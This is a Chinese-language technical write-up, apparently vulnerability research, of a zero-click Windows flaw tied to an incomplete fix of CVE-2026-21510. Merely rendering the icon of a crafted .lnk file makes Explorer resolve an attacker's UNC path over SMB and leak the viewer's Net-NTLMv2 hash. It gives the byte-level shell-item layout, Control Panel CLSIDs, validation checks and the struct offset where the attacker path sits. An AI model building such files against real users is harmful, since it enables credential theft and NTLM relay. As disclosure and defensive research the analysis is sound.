零点击强制认证:查看包含精心构造的 .lnk 文件的文件夹,在图标渲染过程中会触发 UNC 解析,强制受害者建立由攻击者控制的外向连接,从而泄露(并允许中继)其 Net-NTLMv2 凭证。该漏洞源于对 CVE-2026-21510 的不完全修补:微软添加的信任验证仅在 ShellExecuteExW 调用时(即执行时)生效,但损害已在 CControlPanelFolder::GetUIObjectOf 调用时造成,而该调用发生在任何 ShellExecute 信任验证之前。
资源管理器调用 CControlPanelFolder::GetUIObjectOf 获取图标 -> CControlPanelFolder::GetModuleMapped -> PathFileExistsW(modulepath) -> GetFileAttributesW(modulepath)。如果 modulepath 是 UNC 路径,则会建立出站 SMB 连接。无需执行;仅查询文件是否存在就会触发远程 stat,从而强制建立 SMB 连接。SMB 重定向器会打开到任意服务器的连接(TCP/445),触发自动 NTLM 认证,并泄露受害者的 Net-NTLMv2 哈希。0点击,只需查看图标即可触发。
LinkTargetIDList
. IDListSize = 0xXXXX
. ITEMIDLIST =
. [SHITEMID] - 项目 #1 (绑定 CControlPanelFolder)
cb = 0x14 0x00
abID[0] = 0x1F - (CLSID (GUID) shell item)
abID[1] = 0x80 - (排序索引,提示,不属于 GUID 的一部分)
abID[2..17] = 20 20 EC 21 EA 3A 69 10 A2 DD 08 00 2B 30 30 9D - (控制面板 CLSID)
. [SHITEMID] - 项目 #2 (CControlPanelFolder 的所有控制面板项视图)
cb = 0x14 0x00
abID[0] = 0x1F
abID[1] = 0x80
abID[2..17] = 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83 - (所有控制面板项 CLSID)
. [SHITEMID] - 项目 #3 (渲染时由 CControlPanelFolder::GetUIObjectOf 解析的 CPL 项)
cb = 0xXX 0x00 - 必须 > 0x18;_IsUnicodeCPLWorker: cb 必须超过 24
+0x02 .. - 头部字节;+0x07 签名掩码 0x00 或 0xFF (sub_18037D040 Gate 0)
+0x08 WORD = 0 - (由 _IsUnicodeCPLWorker 检查)
+0x0A WORD = 0 - (检查)
+0x0C BYTE = 0 - (检查)
+0x0D BYTE = 0x6A - Unicode-CPL 类型标签;将解析切换到宽路径
+0x14 WORD - 指向字符串 #2 的宽偏移(WCHAR 为单位),例如显示名称
+0x16 WORD - 指向字符串 #3 的宽偏移(WCHAR 为单位)
+0x18 WCHAR[] - 宽字符串 #1 = 模块路径,攻击者 UNC 在此处
控制面板小应用程序项类型包含一个用于模块路径的字段。模块路径是指向 .cpl 模块的路径。Shell 项目 #3 包含一个 Unicode 控制面板小应用程序项(_IDCONTROLW)。请注意,该项并非由 shell-item 类类型字节(abID[0])标识。相反,当 _IsUnicodeCPLWorker 确认所有五个条件时,原始字节被视为 _IDCONTROLW:
该谓词允许代码将 +0x18 读取为模块路径。_IsUnicodeCPLWorker 查看原始项字节,检查这五个条件,如果通过,则直接返回强制转换为 _IDCONTROLW* 的相同指针。
struct _IDCONTROLW{
/* +0x00 */ WORD cb; // 项大小;_IsUnicodeCPLWorker 要求 cb > 0x18
/* +0x02 */ BYTE bClassType; // 以 SHITEMID 术语表示的 abID[0](shell-item 类型指示符)
/* +0x03 */ BYTE unk_03; // (+0x04 dword 的高字节;在 sub_18037D040 Gate 0 中 +0x07 掩码为 0x00/0xFF)
/* +0x04 */ BYTE unk_04;
/* +0x05 */ BYTE unk_05;
/* +0x06 */ BYTE unk_06;
/* +0x07 */ BYTE bSig07; // (dword@+0x04 & 0xFF000000)必须为 0x00 或 0xFF
/* +0x08 */ WORD mustBeZero_08; // 由 _IsUnicodeCPLWorker 检查是否 == 0
/* +0x0A */ WORD mustBeZero_0A; // 检查是否 == 0
/* +0x0C */ BYTE mustBeZero_0C; // 检查是否 == 0
/* +0x0D */ BYTE bUnicodeTag; // == 0x6A : Unicode-CPL 标签(即“确认”的东西)
/* +0x0E */ BYTE unk_0E[6]; // 未知(跨度到 +0x13)
/* +0x14 */ WORD offString2; // 指向字符串 #2 的 WCHAR 偏移(进入有效载荷)— 例如显示名称
/* +0x16 */ WORD offString3; // 指向字符串 #3 的 WCHAR 偏移
/* +0x18 */ WCHAR szModule[]; // 字符串 #1 = 模块路径 <-- 攻击者 UNC;GetModule 从 base+24 逐字复制
};